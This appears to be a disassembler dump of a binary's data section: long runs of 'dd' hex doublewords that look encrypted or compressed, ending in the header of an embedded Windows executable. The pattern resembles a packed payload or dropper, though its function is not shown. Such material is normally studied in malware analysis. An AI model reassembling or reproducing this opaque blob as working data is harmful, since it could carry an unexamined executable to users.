		dd 47A5C084h, 0D6DF578Ch, 73CC53F5h, 763C9E5Dh,	0F8EF6E38h
		dd 57B26528h, 55C320D8h, 4B116418h, 730B27BEh, 94F28608h
		dd 363F3DCEh, 0AB0F4C17h, 0CD2E7B58h, 2384864Dh, 0C31B8D1Ch
		dd 6C32FF11h, 0A237E907h, 0CCC142C7h, 7398E724h, 1CA46AF4h
		dd 2F9F4CA5h, 295E517h
		dd 432FECCEh, 0C8D2B8D6h, 0CB154869h, 0D8FB61D7h, 99320491h
		dd 0C05FE80Dh, 375E3ABDh, 8CA9F251h, 0B52F2BABh, 374B598Dh
		dd 0DC83DD12h, 40D8ADD6h, 86ABE3F0h, 0EF2A9747h, 5701B2E5h
		dd 712F149Dh, 570740Bh,	29954562h, 0CB0D2DE0h, 9CB134ACh
		dd 44817FA8h, 0CF47F3F1h, 0C361AE3Fh, 0F5AECDAEh, 95A5368Dh
		dd 2712C73h, 682BEE2Fh,	8E5131AFh, 6EA708FEh, 7C1C0C91h
		dd 0C8515284h, 692D209Bh, 5D3C6DBBh, 900416FEh,	0E69179CEh
		dd 0C066E897h, 37C4E8E5h, 15983DFFh, 3173635Eh,	57DE952Dh
		dd 66464103h, 0FB189CA7h, 3330D667h, 0E5B86C70h, 357D45E8h
		dd 4CC20F79h, 319E42CDh, 109BA3C4h, 0C8DD275Ch,	5A999D63h
		dd 856F94C2h, 909036E7h, 9505A00Eh, 0DC89E41Dh,	3741B4C1h
		dd 0B53AD6ABh, 0CE0A7C06h, 6F3752E3h, 3CBA3C09h, 46D9C71Bh
		dd 0DE0CAED3h, 0D96D1B78h, 0C37DD1A8h, 587ACE83h, 4BEA45ACh
		dd 0A47A61DBh, 73D9B3C7h, 8C59B27Eh, 39CD671Ch,	5680617h
		dd 0D6F77549h, 0B4490738h, 3E890C68h, 42122198h, 0B32E4773h
		dd 17A2B53Ah, 0A3A5EFEBh, 13897DCAh, 3AEB679Ah,	893D3178h
		dd 0A7EDCD79h, 28B61E76h, 186D082Fh, 0E04323DCh, 1010E050h
		dd 9CCDEEEDh, 0D3427916h, 0E4E617ACh, 491C199Dh, 0A557A4A0h
		dd 932574A6h, 2AD91127h, 6B3AA4EFh, 94AB6B3Dh, 0ACAF6ED4h
		dd 9A3E683Ah, 0C724424Bh, 8B94E215h, 5862E0B2h,	0B2292E9Ah
		dd 62D5A455h, 602E7C21h, 0A952A3C8h, 1F8917Ah, 5235EDE1h
		dd 3FE0C06Dh, 0B5DE127Dh, 2E019347h, 5DA62CA2h,	524F3F14h
		dd 6A64B2B3h, 89548D4h,	0F336DE50h, 0AC9C8DE6h,	0E7DD6930h
		dd 40C916E7h, 7CF7184Eh, 0FC530255h, 0D6DD5AB3h, 4CF9DE43h
		dd 871B4851h, 6A27D743h, 0A3F7CDB4h, 0FD713736h, 80068627h
		dd 0F151F0C7h, 0C626E3B2h, 0FD20BBFh, 9B71D23h,	774813D7h
		dd 0A914B334h, 7F72AFE9h, 210F2561h, 9B34EAC3h,	0F2ACDF61h
		dd 773C9F4Dh, 6DB6BCF6h, 0D3D73BB1h, 8301FC91h,	0B47960FCh
		dd 35643A1Fh, 0D3A671DEh, 0CEE57899h, 9E0BF867h, 99D6B4F4h
		dd 0D4A48236h, 304CC29Dh, 0D8ED58C2h, 0F5C77222h, 13272460h
		dd 0B00DDE9Fh, 0A4A0E98Dh, 0D4F91801h, 43EFB33Eh, 4DA76887h
		dd 0A13CEA90h, 0A362C01Fh, 37AC4BCDh, 2A75C948h, 0BAE67865h
		dd 3B3C50FBh, 80DDC1DAh, 0C498011Bh, 4FBAA658h,	4FC8B390h
		dd 2C5108D5h, 0CC21E1B7h, 0FF934143h, 8EBEA962h, 0FBDC7F7Bh
		dd 285DA869h, 7D2584ABh, 70C75128h, 922A7F63h, 0C1054163h
		dd 47F52E25h, 0E80ACBD4h, 0C25FF590h, 0F949EABEh, 602AA263h
		dd 7E6357C4h, 7678AD80h, 76EE73h, 560E4C7Ah, 22815D08h
		dd 0D7A94482h, 0F0E85FFBh, 10B60BF2h, 0AB75B799h, 0EFFAF8B2h
		dd 3750822Fh, 4D944676h, 91CA23BEh, 5A932862h, 0AEE8D753h
		dd 5CCD6036h, 5367462Bh, 0C15DDE10h, 0A35AB32Ch, 0E4885F1h
		dd 65F61E58h, 7D01A45Ch, 0BEB1F629h, 0D664F816h, 0C9302F82h
		dd 0C2F09C24h, 0F3A22E0Bh, 0FD9B615Dh, 0F58BA8B4h, 263D7B32h
		dd 8BCC141Fh, 633183E9h, 863CD3BAh, 0A5AC17B6h,	4086B99Dh
		dd 1AD1287Ch, 0C539F64Dh, 0E213DF6Dh, 21BE024Ah, 2E6FD7Fh
		dd 8BAB50C7h, 2F0D80CCh, 0BE2B4220h, 0AB6293F4h, 32FAFA11h
		dd 17A1124Eh, 0E2B85D82h, 0D846F58Ch, 789FE8E4h, 0DB4A6670h
		dd 526DC02Ah, 59773DCCh, 2FB730Bh, 0BCC89868h, 79C6BD0Dh
		dd 0EA43E70Eh, 47B679C4h, 9F84B358h, 15676BDh, 3B3CA5ABh
		dd 0C35032F1h, 846AFBB0h, 846BA574h, 66DC0D5Bh,	0E3D9B403h
		dd 0FE1DB662h, 0FAEFDC33h, 0F455E60Fh, 906F80CFh, 0B570ACF9h
		dd 0C073B545h, 255248EAh, 2CD1A27Eh, 0D95C09A9h, 0B5D536BCh
		dd 8191C2C6h, 0CE8F8E2Eh, 0E3D5620Bh, 0C18F02D7h, 8E8628F6h
		dd 455E6EAAh, 4C7BBE04h, 65173B0Dh, 36DC941Eh, 7E17027Eh
		dd 51F06A65h, 16EE77AEh, 0AC82CA81h, 0B6365D9Dh, 690611A5h
		dd 903B8B2Fh, 8081D7FFh, 2CDCA92Bh, 0B097137h, 4EF62535h
		dd 0E71989F3h, 2468D338h, 3A159474h, 39C185B4h,	844DE35Ch
		dd 9A599C11h, 0EA8389ABh, 0E98012F1h, 9A8971F4h, 0F84D15CAh
		dd 0A1D4E6EBh, 86AF9C80h, 0E3DAFFCCh, 5E88F7D2h, 769DEE83h
		dd 0C03AB5F6h, 0F92C701h, 0A1D081B3h, 0D4CBDD34h, 89525CD1h
		dd 0BE6D2EB0h, 0D4CC6002h, 78AB8453h, 49F1974Eh, 0F5F46F35h
		dd 0E133ED0Bh, 95B3672Ch, 0B541C8FFh, 0B534EA32h, 0EA66B2h
		dd 614A3624h, 2CB6081Bh, 0AB2F657Eh, 0F32B623h,	0F9874680h
		dd 0FBF5D1B0h, 7D2E59D0h, 0EB84A6B4h, 8432C01Dh, 0ADA4B347h
		dd 0BA540AEEh, 830CAC64h, 0C438A717h, 8D6C04EFh, 0DCAC206Bh
		dd 679A8694h, 0AE1C7424h, 80F6A7CBh, 71538257h,	9F49C6CEh
		dd 2E87C11Bh, 35D2205h,	0A132D0DAh, 0E515911Fh,	0D0CFDC4h
		dd 9696D76Eh, 19088186h, 5DDA7DF2h, 1750D59Fh, 632FB3BFh
		dd 7ACFBF6Fh, 0BC98B336h, 0A97BF316h, 0BE1D3481h, 77691515h
		dd 0ABE93D01h, 0CD48EF5Ch, 0C3F71BBAh, 0FA8575C0h, 25BADC12h
		dd 99305876h, 62A4E25Bh, 0EAD87180h, 48DD18A6h,	0A48BC741h
		dd 33925EEEh, 1E98F6AEh, 0BE2FD55Fh, 0D2BCC0AEh, 58B0FAF0h
		dd 0CC3FAC99h, 2090C20h, 49E07CB1h, 0BB426643h,	0A58C1606h
		dd 7B2C58h, 54D20A6Fh, 502435E8h, 7C164C98h, 51CC59A7h
		dd 4E16B7E8h, 344F7028h, 0CD0CBDE6h, 0BE0A4AFEh, 6D650F25h
		dd 66D03DF8h, 5997037Fh, 0DAE5CBD5h, 8A789835h,	0D844793Dh
		dd 42CB62A5h, 2DEC2B04h, 12EAB323h, 0AAAF2AA8h,	3B212EF6h
		dd 578C14D5h, 0A44E1911h, 0B56262EBh, 38906451h, 96856E10h
		dd 9C32D488h, 0B0FC2D62h, 0EA96FE30h, 6FA19F7Bh, 6B79323h
		dd 0F1DB32EEh, 6AAE485Ah, 9478D11Eh, 222343B1h,	11BD4117h
		dd 5E303343h, 2C65C10h,	13D78C02h, 0FEB1E12Dh, 769754ACh
		dd 43BD09F4h, 0A7435202h, 77CA0E95h, 3908E47Fh,	0D923CAC8h
		dd 0FBEA0F21h, 7F3E2E52h, 41575615h, 6680C82h, 90A314A1h
		dd 92BCE240h, 2ED711FCh, 70E1E41Dh, 0C1E8FD0Fh,	69BFA47h
		dd 933310F4h, 83D9C4CCh, 2FE93749h, 0CBD43188h,	8FCE73FBh
		dd 4AF2B7B7h, 866A4FC8h, 0EBAE4182h, 0F4F70D15h, 54BE6CEBh
		dd 0A7476112h, 7AEBA4F5h, 477E82CEh, 11E46C4Ah,	70DB57B2h
		dd 13414131h, 8D199EDh,	2411F59h, 32B205F7h, 5E237D4Ch
		dd 0E5B49B8Ah, 84F1FFD5h, 0B5D4EEBDh, 99EE4B2h,	0E627AB94h
		dd 0DB4D9613h, 93D8DAB6h, 0A0E88CA2h, 29DD18EBh, 2019B1BFh
		dd 3D55A5FFh, 0E446BBD7h, 17854911h, 0FBE5A220h, 0FBE580ADh
		dd 0F966B27Ah, 0A1FD5F0Bh, 8F356C96h, 9185195Bh, 7362CF9Fh
		dd 0F9E56D38h, 0B6B29B94h, 160244AEh, 75FC02F6h, 517C90E4h
		dd 0AC6156Eh, 0DC321C17h, 72A55A89h, 7700EAF8h,	15670C8Eh
		dd 542038A4h, 0DDE1B77Ch, 5E9611Ch, 0D9589A5Ah,	49783247h
		dd 0E56ECA47h, 6DD378A6h, 0DD938222h, 0C375D644h, 8C1FDF9Bh
		dd 6BDE5862h, 7C5629D1h, 0D605D9E9h, 99EF115Fh,	0B7A05581h
		dd 0BB016B61h, 6CB42FDFh, 56B7D0B1h, 0D13F17DDh, 0FDB29625h
		dd 772884E8h, 0D3ACCAE5h, 33A1567Ch, 7B1006ABh,	0E1A6430Dh
		dd 4F4E9B96h, 0BA94CE69h, 0DD2BACE3h, 0BD5124Fh, 0BB3A17F9h
		dd 6080E8E9h, 91B0F142h, 0E05BB956h, 9B5D5BCEh,	3DF40922h
		dd 0F989F278h, 3B298915h, 0AE1A974Ch, 72C47C83h, 0C6D7A828h
		dd 60165122h, 338433AEh, 44700850h, 0A0137074h,	19E33AA6h
		dd 0C1875E34h, 679BAD78h
		dd 2CC6B668h, 780F648Bh, 6113E84Ch, 31A153C2h, 0B23FC0E6h
		dd 7D072828h, 5AEF187Fh, 0C8B1800h, 0F50C9695h,	59E93560h
		dd 19C3B086h, 669AC0A3h, 0B05DAA57h, 0CF966AF5h, 0A3D089DCh
		dd 0C2DD3369h, 0DF56C291h, 880E5ECFh, 25B373FBh, 78A09AE4h
		dd 8B00D18Bh, 838A645Ch, 710D1F9h, 761A7D9Eh, 0B2FD60FFh
		dd 0ACAC9F4Dh, 0AB46A757h, 11AE4B91h, 553943A2h, 2FCEC31Ah
		dd 0F37BBF9Ch, 395D5B5h, 7CD9AD08h, 275D5171h, 6FF35F1Eh
		dd 9C2BF3C8h, 4D72471h,	0B85DE5C6h, 0E4E95796h,	0D7E8953Ch
		dd 0C63AE728h, 9955D81Ah, 0B3B7490Dh, 23817199h, 470DCA9Dh
		dd 24E9ED49h, 0B3E36929h, 84EBDADAh, 0D0EDC6CBh, 502B9523h
		dd 94CDBD7Fh, 0BCBA999Fh, 767E9C51h, 77C25924h,	2F31108Fh
		dd 36DADF52h, 86A88B7Eh, 700FCEEAh, 59ED8537h, 8EB35F71h
		dd 18574EA0h, 24C6C5BCh, 4EDA8024h, 0AD449727h,	533AFAC3h
		dd 6B3FF89Ah, 0CAE0944Eh, 0A54F1F9Dh, 30898805h, 1DD83E3Ch
		dd 1678A4AEh, 31542DB9h, 0D15F4EEDh, 0DBCAD620h, 0D928EEA6h
		dd 26E17AD7h, 0DF3C824h, 4920B8B7h, 90C38363h, 4BF3E2A7h
		dd 98AA6F2Dh, 3D6B6B46h, 69859786h, 8249C96Ch, 11111ACBh
		dd 6A37324Ch, 301CEB02h, 0A08E3919h, 0FE464B2Dh, 885C1531h
		dd 91AA70D8h, 0D54845C8h, 0CB8275E4h, 0AD10DCh,	632180E5h
		dd 780B6200h, 5F7BADE3h, 0CF96B130h, 0C0D8494Eh, 227636FCh
		dd 42870D52h, 92183E46h, 39DA22AEh, 610FBD22h, 6E00694Fh
		dd 3D8078F4h, 97D6EB21h, 116C3D5Fh, 926FBF17h, 0F662F88Fh
		dd 0A7C0151h, 9C9FAD96h, 7EE548D1h, 0D5166858h,	68D220A5h
		dd 0AD23B934h, 0E9B5AE53h, 0C60E4720h, 0C2D92B8Eh, 27C5418Bh
		dd 0D28E5503h, 0BDF5055Bh, 0FB6BB372h, 0DA96CA8Ah, 1FAAF8FEh
		dd 2D58DE58h, 3C68BF3Dh, 1E4D70ECh, 1E621D33h, 0B13C5FDCh
		dd 8100108h, 7A99894Eh,	7CA93422h, 0D36A1B3Fh, 389C1175h
		dd 7EB37A97h, 0FB152A5Dh, 0F912F6Bh, 6C52F6A4h,	13D043A9h
		dd 0C38C621Ah, 7A127C7Fh, 41591F32h, 1A420F1Ch,	0F496DD52h
		dd 5B01AAB7h, 4AFEF312h, 53146780h, 90BABFA6h, 99F8A61Bh
		dd 637A42C9h, 0F5AE1160h, 0E374EC68h, 0F5750DDh, 801F677Ch
		dd 89424164h, 75CAC927h, 99FAFEAFh, 0D71FEA0Ah,	5CE54661h
		dd 33AE7837h, 0C5767BE5h, 0B8E7AEE2h, 1949A1BDh, 33EDEE4h
		dd 3F68F108h, 8AE411Fh,	0A46FC2B6h, 0C2442345h,	0E307B675h
		dd 153201F7h, 4828396Ch, 9BC73946h, 42C95FF6h, 0D3660198h
		dd 39AA3E86h, 0EDA4FA0Bh, 235306A9h, 2CE8466Ah,	85AC0F59h
		dd 35818E37h, 0B56AA8D8h, 0FFF96CD1h, 138F5B5Dh, 754AE29Dh
		dd 19CCDBD0h, 499CF525h, 0D50FD6Ah, 0FD7B2ACh, 0B8DF8F9Ch
		dd 0CE1D99E0h, 0A6FD6F9Eh, 8AFABD6Ch, 573CCEF6h, 4ABE7C6Ch
		dd 0C923A2FFh, 36317880h, 86A94E0Dh, 3FE34FE9h,	0D847C3FEh
		dd 0B84968B6h, 5ED380Bh, 0D59F969Ch, 0D7CE5E5Bh, 0EFC0EFC6h
		dd 4F25F3EFh, 0C5E531C1h, 0F66C6C60h, 9B0426B7h, 11B351C7h
		dd 912F361Ch, 49954CEEh, 4957ED5Ch, 0D2E706FCh,	577FB714h
		dd 32C5CFB9h, 9C71740Ch, 2455EE44h, 51CFF9B1h, 0A31912AEh
		dd 92D1ED4Bh, 0DF475926h, 60EF8E08h, 2CB3E10Eh,	0DF16812Fh
		dd 0FB719B37h, 0D3728B7Ah, 6CBBDEDCh, 1314723Fh, 7C7EB32Ch
		dd 26B2BAF0h, 0DE74DB57h, 8BB2C920h, 0D550ACB0h, 3CFC37FBh
		dd 525FA764h, 6A6CF5E3h, 9A47B85Bh, 46395E25h, 0B8C09A64h
		dd 0DF02416h, 4D2F41D7h, 2ADB65D5h, 4A1A083Ah, 46542EAAh
		dd 8D02FF84h, 762BF201h, 2E74396Bh, 75F8F119h, 3C02C657h
		dd 2E6DD705h, 8E840196h, 23A7243Fh, 0B3E17CF8h,	2C31D00Ch
		dd 0C3D692B3h, 0D54707E4h, 6E0BDCAAh, 0F07BE73Ch, 71958DEFh
		dd 0A76C32CAh, 0DE18F3C9h, 0F73532DBh, 9AE7074Dh, 0CD3DBC73h
		dd 0C25E2FDEh, 2BB2D724h, 96AB1879h, 47B1B991h,	0CC9B0C89h
		dd 57F7B268h, 40E2651Eh, 0B1D0DE97h, 1DAC3AC9h,	0B6DD7AF0h
		dd 470EF505h, 60333C47h, 2CBE1E20h, 6B38F2A8h, 0CCA141CBh
		dd 77EA6594h, 8CB698E9h, 50D088A7h, 52543813h, 7639398Dh
		dd 3401B258h, 21B3F893h, 32B5197Bh, 0F9031230h,	2693218h
		dd 0FB441DB9h, 0D62D7E25h, 0E97570C8h, 7C26792Bh, 1D56195h
		dd 4AB6430Ch, 426BA44Eh, 0B68A4CAh, 0C312A4F7h,	0EF98B9ABh
		dd 0DCCCC10Ch, 94255830h, 0EA7637D3h, 5CB98B3Dh, 71E5A8F7h
		dd 1F8849F7h, 0E254ED75h, 4F4648DFh, 0AE3C841Dh, 394BAC79h
		dd 0AF053952h, 5058ECB9h, 20AF66D0h, 74F2A90Bh,	0AFB5E7C2h
		dd 90126FFFh, 0DBE747B7h, 0F3165E3Ch, 0ABFCE3D4h, 2ACF2BA0h
		dd 1F370A4Dh, 549833E4h, 13A4CE73h, 0BAF64396h,	740C9B7Fh
		dd 0E14D5C47h, 0E851CF1Dh, 0C1020D2Fh, 9B28A309h, 0AAB093BDh
		dd 0BBA6AA9Eh, 6F59FC1Bh, 64D2184Ch, 0F68654D8h, 4C06F8DAh
		dd 6D49704Bh, 0D133DE92h, 3F048D0Bh, 5230E2A0h,	850D88ACh
		dd 18192142h, 2B1E817Eh, 0A1837CA5h, 0A741B65h,	403D5AE7h
		dd 85C0E0FDh, 0E678CAD1h, 0D499D914h, 0DDAE3272h, 0CF055F07h
		dd 76BE2941h, 0D000CD16h, 0B3349DB1h, 0C961032h, 372632FEh
		dd 28A5BFA4h, 51A8902h,	82A3504Ah, 0A7449C33h, 6CD47E9Fh
		dd 7FE4FCCFh, 15ACE468h, 0C75353B0h, 9A8F2D43h,	27CF6858h
		dd 610CAECDh, 96AC9D2Ah, 9FE37A26h, 1F891EEh, 5FC81A24h
		dd 9F1A6BA4h, 75191D23h, 90DDA7F7h, 0DB26C0F0h,	3B04688Bh
		dd 0E9AE4D01h, 3D7B475Fh, 63959574h, 0A2A9BB22h, 1341930Fh
		dd 0A53F4E86h, 47364CE3h, 0C57F4F71h, 7BE3585Dh, 0EA9217B2h
		dd 92DE6EA3h, 3F05EAC8h, 0FF1D602Fh, 88ADF40Eh,	0C62B8D54h
		dd 0DD5D2081h, 0C69253E4h, 855AE165h, 7F893B51h, 59AAF9D1h
		dd 18385522h, 43A88D36h, 7CD05802h, 0EBC7BB90h,	6D356DD4h
		dd 9292E7E8h, 44A3F5BDh, 0FD9FD566h, 53FCDE78h,	2526B40Ah
		dd 1B38DE21h, 0D25E5D5Fh, 6CC84747h, 250D87B5h,	0F94D7DD4h
		dd 0A2046B5Eh, 8C47A366h, 0AC6B53A8h, 0FF474B0Dh, 189DF40h
		dd 0B7299475h, 0A3F915F9h, 0B4174B43h, 39955967h, 5188E739h
		dd 0D9951B50h, 6D7B0CE5h, 225FD74Bh, 735911ACh,	87F56ACCh
		dd 3A5F8635h, 6B7C058Bh, 0F5ACB0DBh, 0FB8AB68h,	0DBA9B00h
		dd 868D81D5h, 1BB28157h, 7601295Fh, 27CBEB6Ah, 49208B41h
		dd 9D2B7090h, 3D13CAA3h, 8867B354h, 0F187E502h,	180F4136h
		dd 466E5C89h, 7FED2F69h, 0D5716B98h, 6A90834Ah,	369342F1h
		dd 991A59AFh, 6EEFC969h, 0B74E1E52h, 928B303Eh,	63F0D1B8h
		dd 0A51FB9D6h, 0DEECB570h, 46700D56h, 8F50CCA5h, 0A303C31Fh
		dd 0D6CFC7E6h, 0F96B122Fh, 53B1CF7Ch, 0E9CB487Ah, 0F9B7B6CCh
		dd 0D51129D3h, 169E4C02h, 0A557B6Dh, 0D689885Bh, 797AD4CFh
		dd 552011E5h, 84651866h, 552450A3h, 0CD15B9B4h,	1F8BED6Bh
		dd 9DA483E4h, 0AA4C7E7Bh, 0ACDCB96Eh, 677C1EC5h, 0B8DD9630h
		dd 8D6DD3Eh, 75FBC508h,	7C6416C0h, 41C971D2h, 4B4FE860h
		dd 2CE6030Ah, 16FF47B0h, 57E25046h, 0E6A4A930h,	0ECE20141h
		dd 0E4F84020h, 3C85D5E6h, 18D9F86Fh, 1B9EC43Bh,	7D647C35h
		dd 0F15F12FEh, 0D65B3F25h, 0F7C0F7E6h, 0E7EF6271h, 0D815923Eh
		dd 8917F39Eh, 0CCCEC23h, 3D7BE0DFh, 8F2195CAh, 0ACFBB060h
		dd 0ED25B006h, 2DE34CB1h, 45AA3FB5h, 5D1E4FDFh,	1329465Dh
		dd 0A426D2D3h, 6873AAA7h, 7118417Eh, 0C8D7CC5h,	0E8A8ED3Dh
		dd 4F297902h, 0DF84A38Fh
		dd 0C073619Eh, 80AE9DF8h, 9853F7B3h, 44EF45CBh,	55C3775Ch
		dd 0EFF27453h, 0F66435C5h, 0E38356CDh, 0D330A3B5h, 83A43754h
		dd 0EA0C2B8Eh, 898FBCE1h, 0E534E34h, 2A4BC232h,	8CC1760Dh
		dd 3391000Fh, 735FB81Dh, 0D3E66190h, 0C306053Bh, 42263ED9h
		dd 0ED72A2CDh, 8C20545Dh, 0CCB35AE1h, 0AC88A884h, 2E23A943h
		dd 261736FBh, 0DC20C3F1h, 0D7C9D322h, 0D982CA85h, 0E795644Ch
		dd 64234BDDh, 10F8A48Ch, 7E65200Dh, 9FD914ECh, 9259083Eh
		dd 4924C1E2h, 0CFB85ECEh, 0B2E0DF4h, 503B31B0h,	0AF778C8Dh
		dd 0CC8C02CFh, 33917C92h, 456180B9h, 0FFBED605h, 71403034h
		dd 5F44A3Ah, 3F66E95h, 3B8F5D0Dh, 0BFEDEA1Ch, 8E26C235h
		dd 2007B0B4h, 1AF8D2B6h, 0A39C5566h, 0D241EC83h, 648689B4h
		dd 450B41CEh, 190EEB3Bh, 6CD0BB9Bh, 0A9348CD0h,	8B14DC12h
		dd 0DA94A958h, 0F3090CA6h, 28138168h, 0E2A1AFE5h, 0B66F04D3h
		dd 0AB277811h, 7E553E7Fh, 0A1C2B7C4h, 0AABEDD6Ch, 224759ACh
		dd 6D5A95F9h, 46D0C0D1h, 1C870C98h, 79C7D24Ch, 27F24DABh
		dd 72ADC584h, 8338A0FCh, 3287E9D7h, 25E0B2DCh, 9E043E5Fh
		dd 5188CDBDh, 4254C849h, 0EF9300ADh, 0C0E2936Ch, 0DBB10A96h
		dd 0A5FF125Bh, 40789124h, 9A9484B7h, 0FCE5FCEh,	905709E5h
		dd 0D527A548h, 0DC6A0E0h, 82C46A34h, 0BDF53D7Ch, 8CF9078Eh
		dd 0E562057Dh, 34366025h, 9F9CF60Bh, 0B1EB6DAAh, 0A70F97E2h
		dd 693BBDA4h, 72797C80h, 0D4A4AACEh, 0AE6E8233h, 6A813CD1h
		dd 5A276377h, 3AF33B1Fh, 186B63D0h, 3CB34F2Ah, 95CAF618h
		dd 0D91CF7AFh, 8BC9FDF4h, 2BE74FEDh, 466906BFh,	1008FA8Ch
		dd 91F46044h, 64F2ABBCh, 7843A5C5h, 94A09B56h, 0D16D80EEh
		dd 0B522D502h, 2832475Eh, 0D72C1049h, 98E1720Dh, 63F524BAh
		dd 24933755h, 93DC33Bh,	839F487Fh, 0B9356553h, 0EFD79A91h
		dd 6666B33Ah, 5604C350h, 6707CDD2h, 15E288Bh, 5DA2B0A3h
		dd 1132D483h, 943B25C8h, 0A4B92DA9h, 2F4527A0h,	0CFC75465h
		dd 194993C9h, 28C746CBh, 1DADF414h, 146ED358h, 0F7472527h
		dd 1B2682F4h, 91DD03A8h, 0B5188D4Ah, 0BD333938h, 0B544ADh
		dd 88C0F7CCh, 0E6A3E42Fh, 1E481961h, 17F6421Eh,	9CB78522h
		dd 0BF3BAA4h, 0E59EF1C9h, 635EAC76h, 0A705DCE2h, 0C91CD039h
		dd 6EBF0804h, 0A3CE9990h, 7B51B22Ah, 0AA35EFEDh, 0E069C377h
		dd 191FAF7Bh, 1E0FD870h, 8E244958h, 5A964F46h, 32EC8B41h
		dd 2C4E04B3h, 9B3E89DEh, 0ECCF6A85h, 858C01E0h,	7FC60AC2h
		dd 87CCB057h, 0AB7C8DAEh, 6F9AE229h, 772035A6h,	5A94A47Ch
		dd 70397626h, 0A6A0EC6Eh, 1D870D7h, 2A729230h, 2208939Ah
		dd 364BDBA2h, 15756475h, 7BBA8DAh, 4B302C98h, 799CC63Eh
		dd 862176D8h, 998344CCh, 5BD303EFh, 663FD134h, 898B7A58h
		dd 0D0DAAEAh, 53182165h, 1DF57E68h, 15A07DFBh, 76C3D9CBh
		dd 0EA48F739h, 0D658C31Fh, 0AB3469AEh, 9B47ABD1h, 57C2EBBh
		dd 91B5FA3Ah, 0A55F4780h, 2CCAC012h, 4C74830Fh,	0BEA82653h
		dd 33B4541Ch, 779C8BE8h, 0FAE40440h, 8FCA1C7Ch,	6D0E213Eh
		dd 0A8FD0D92h, 736F3FBAh, 5B3F36FCh, 27FB5122h,	92224D44h
		dd 4E3903BEh, 0F6D427D8h, 0DA5764F1h, 0EAB77617h, 6713934Bh
		dd 0BB4B943Fh, 57F1FD4Dh, 37982C14h, 18EAF0C1h,	5F20EAFFh
		dd 78C4D81Ch, 62E3E1E4h, 0FDFA42DFh, 56467006h,	0A366271Fh
		dd 85DF1106h, 0E52786B3h, 247ACFD5h, 16256B5Ch,	0BBEF2066h
		dd 0F11F7308h, 6AD0F57Ch, 4B27B144h, 81300FDDh,	96F139D8h
		dd 0E26D9C62h, 0A7073911h, 0F6CF675Eh, 1EAE1B1Fh, 0ECD221F5h
		dd 8115B279h, 0C5B044FFh, 4B76303h, 71D1A124h, 7FCEE311h
		dd 311FD75Dh, 7BE07E1Ch, 0BD86B529h, 47A6429Dh,	49C8D6BFh
		dd 859DD0D6h, 0F09541B8h, 137E454Bh, 923A0F2Bh,	52942A09h
		dd 0ECDF4274h, 0BF3B2D80h, 0B373B997h, 0A6CDDF64h, 12F30056h
		dd 4B55A476h, 0E70D4284h, 312385ECh, 0EF6A9991h, 2AF683C1h
		dd 0A71CBA92h, 788BFE04h, 411D9067h, 0B04F4F52h, 34DFE845h
		dd 4E0B1DB9h, 961AF21h,	48B08423h, 48721D8Dh, 0A6A17A1Ch
		dd 45C2C67Ah, 5E4EF092h, 36E9D8C3h, 0B11915A2h,	0B2C68DF2h
		dd 1495FCB6h, 952E4A4Bh, 0E9418DCCh, 0C3304FBDh, 4539010Ch
		dd 0AF7FDD3Ah, 0C7FF9CF3h, 8761C896h, 0F82E271h, 0D4099E3h
		dd 0FA6FE460h, 9E48E0FDh, 0D134E152h, 4F0F52D9h, 0C4831AAh
		dd 0D6524D38h, 93F6B512h, 0B83E0D9Bh, 5391788Bh, 8B22B979h
		dd 0A8A6B71Ch, 28CB4D5Eh, 65A18A9Fh, 0FB22747Bh, 0C58817DBh
		dd 0D90715F5h, 48641C27h, 0BA03AA0h, 91744F43h,	70223F63h
		dd 0D0231BDBh, 0D293DBD6h, 0C5E6C0BBh, 0A8C73FF6h, 0FBA8D604h
		dd 6CCE79Eh, 0B8EE7B2Ch, 28AE6423h, 0FC32C63Ch,	68C6A209h
		dd 909BA812h, 567BDD4Ah, 0E897F7A7h, 3EBB543Ch,	72209EB3h
		dd 2109F7A6h, 19CE9E55h, 0B238DD2Fh, 0C9A13DAEh, 8BF7A612h
		dd 393B307Dh, 0C90FC6DAh, 68B56671h, 9E6B845Eh,	0EC9ACB2h
		dd 555E6EC4h, 494464A5h, 0C8A7ED34h, 0D7772D44h, 0E976FF63h
		dd 474BBB57h, 0E507D992h, 0E118EFE4h, 423D60CEh, 78D33192h
		dd 6D9E0CFCh, 796612AAh, 31ED2497h, 0F181C1CEh,	7087B637h
		dd 997C238Eh, 0EB9D5A06h, 64C49772h, 4F292F64h,	45D38B41h
		dd 0BB0D2022h, 640B493Ah, 8A68D622h, 0D83C3524h, 0D4CCA542h
		dd 75EE56B6h, 8D3E8645h, 234AAF40h, 1A13453Dh, 2A5C82C8h
		dd 87E80F20h, 356163FDh, 0D93BD26Ah, 7173075Eh,	3E76ACD1h
		dd 50304282h, 95A8DA31h, 0ECE22087h, 0DD56FD56h, 0CA0928FDh
		dd 5B56E731h, 17AB02FCh, 0E34F2372h, 0A6E28DB3h, 9378033Bh
		dd 99BC0FD8h, 4708D520h, 0F5B8DE24h, 0F405E493h, 59432FD5h
		dd 84B0ED1h, 13882DC1h,	3FB605CDh, 34EE9C05h, 65BCF043h
		dd 7D7DA270h, 0B95AA39Dh, 0AB425E43h, 457BE60Ah, 987D4F58h
		dd 0FF62383h, 0FC67FB9Ah, 4F58BF9Ah, 0C5947291h, 924B4A8h
		dd 1EC6B625h, 0F6A186C5h, 0A36752C1h, 0C8D61CD6h, 0B5513C3h
		dd 0A1036CC9h, 8BD085CCh, 88E8342Fh, 46786EE9h,	82790BBFh
		dd 23CD0097h, 23B7E556h, 9BAD2E42h, 0DAC5F484h,	0BFF917AFh
		dd 0A64EED7Fh, 38F3DFE2h, 72BB2E5Bh, 73616DF5h,	0A03877B5h
		dd 1FFEBBF9h, 6588A39Ah, 8848642Dh, 3CDF5B4Ch, 27196245h
		dd 0B712C893h, 0F197454Eh, 6C48F4E9h, 14F57BC6h, 8153A382h
		dd 7C0FCA93h, 0AC48BBFCh, 0F64C66BEh, 75A0ECEAh, 0D975C973h
		dd 1504EE4Ah, 810D1097h, 59ABB383h, 4654AF83h, 0C4AE90B4h
		dd 9DA7C5BAh, 0BE3F8081h, 1381B4Ah, 0B273DD49h,	0EE2414F9h
		dd 713BF43Dh, 905A4D31h, 300h, 400h, 0FFFF00h, 0B800h
		dd 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd offset dword_455000
		dd 4014C00h, 8F8C4B00h,	47h, 0
